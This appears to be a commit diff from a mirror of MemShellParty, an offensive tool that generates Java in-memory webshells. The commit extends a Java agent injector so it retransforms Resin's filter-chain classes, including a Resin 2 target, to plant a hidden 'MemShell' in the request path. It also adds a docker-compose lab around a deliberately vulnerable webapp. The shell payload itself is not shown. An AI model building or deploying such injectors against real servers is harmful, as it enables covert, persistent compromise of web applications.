mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 16:01:52 +08:00
feat: support resin2 agent shell
This commit is contained in:
+26
-20
@@ -14,9 +14,11 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @since 2025/3/26
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||||
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
private static final String[] TARGET_CLASSES = new String[]{
|
||||||
|
"com/caucho/server/http/FilterChainFilter",
|
||||||
|
"com/caucho/server/dispatch/FilterFilterChain",
|
||||||
|
};
|
||||||
public static String getClassName() {
|
public static String getClassName() {
|
||||||
return "{{advisorName}}";
|
return "{{advisorName}}";
|
||||||
}
|
}
|
||||||
@@ -38,8 +40,10 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
if (targetClass.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -48,22 +52,24 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
if (TARGET_CLASS.equals(className)) {
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
defineTargetClass(loader);
|
if (className.equals(targetClass)) {
|
||||||
try {
|
defineTargetClass(loader);
|
||||||
ClassReader cr = new ClassReader(bytes);
|
try {
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
ClassReader cr = new ClassReader(bytes);
|
||||||
@Override
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
protected ClassLoader getClassLoader() {
|
@Override
|
||||||
return loader;
|
protected ClassLoader getClassLoader() {
|
||||||
}
|
return loader;
|
||||||
};
|
}
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
};
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
return cw.toByteArray();
|
System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
} catch (Exception e) {
|
return cw.toByteArray();
|
||||||
e.printStackTrace();
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return bytes;
|
return bytes;
|
||||||
|
|||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
resin2117:
|
||||||
|
image: reajason/resin:2.1.17-jdk6
|
||||||
|
container_name: resin2117
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
|
||||||
@@ -1,2 +1,2 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
pgrep -f Resin | tr -d '\n'
|
pgrep -f 'Resin|-Dresin' | tr -d '\n'
|
||||||
Reference in New Issue
Block a user